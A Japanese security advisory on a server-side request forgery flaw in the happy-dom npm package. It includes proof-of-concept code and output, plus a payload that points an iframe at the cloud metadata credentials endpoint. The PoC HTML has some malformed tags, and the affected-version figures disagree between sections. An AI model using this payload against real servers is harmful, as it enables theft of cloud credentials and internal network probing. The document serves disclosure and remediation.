Happy DOM: iframeとリンクされたスタイルシートを介したSSRF脆弱性(信頼できないHTMLの解析時)

## 概要
happy-dom v20.8.9では、`<iframe>`または`<link rel="stylesheet">`要素を含むHTMLを解析する際に、サーバーサイドで任意のURLに対して実際のHTTPリクエストを行います。この動作はデフォルトで有効になっています(`disableIframePageLoading: false`、`disableCSSFileLoading: false`)。アプリケーションがhappy-domを使用してサーバーサイドで信頼できないHTMLを解析する場合、攻撃者はこれらの要素を埋め込むことで、Server-Side Request Forgery(SSRF)を誘発できます。

## 影響を受けるバージョン
- happy-dom <= 20.8.9 (最新)

## 脆弱な動作

デフォルトでは、happy-domは以下の設定を持っています。
- `disableIframePageLoading: false` — iframeは、`src` URLを実際のHTTPリクエストで取得します。
- `disableCSSFileLoading: false` — `<link>`要素で指定されたスタイルシートは、`href` URLを実際のHTTPリクエストで取得します。

信頼できないHTMLが解析されると、これらの要素によって、指定されたURLに対して実際のサーバーサイドHTTPリクエストがトリガーされます。特別な設定やオプションの有効化は必要ありません。

## 実証コード

### 動作確認済みテスト(攻撃者側のサーバーにリクエストが到達):
```javascript
const http = require('http');
const { Window } = require('happy-dom');

// 攻撃者側のサーバーを起動
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body">stolen</body></html>');
});

srv.listen(9995, () => {
// iframeによるSSRF — happy-domは実際のGETリクエストを行います
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html<body<iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

// スタイルシートによるSSRF — happy-domは実際のGETリクエストを行います
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html<head<link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
```

**テスト結果:**
```
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
```

攻撃者側のサーバーで、両方のリクエストが受信されたことを確認しました。happy-dom v20.8.9、Node.js v22.17.0、macOS でテスト済み。

### クラウドメタデータ攻撃のシナリオ:
```javascript
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// 攻撃者によって制御されるHTMLが、AWSメタデータエンドポイントへのfetchをトリガーする
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
```

## 影響
- **クラウド認証情報の窃取** — `<iframe src="http://169.254.169.254/...">` がAWS/GCP/Azureのメタデータを取得する
- **内部ネットワークのスキャン** — 内部のサービスやポートを調査する
- **データ漏洩** — 内部APIからのレスポンスを読み取る
- **サーバーサイドのあらゆるユースケースに影響** — ウェブスクレイピング、メールのHTMLレンダリング、SSR、外部HTML入力を使用したテスト

## 推奨される修正
デフォルトを変更して、外部リソースの読み込みを無効にする:
```javascript
disableIframePageLoading: true, // falseから変更
disableCSSFileLoading: true, // falseから変更
```

または、fetchを実行する前に、URL検証を追加して、プライベートIPアドレス範囲やクラウドメタデータエンドポイントをブロックする。

影響を受けるパッケージ:
- npm (JavaScript) happy-dom: 影響を受けるバージョンは20.14.6以下、21.0.0で修正済み。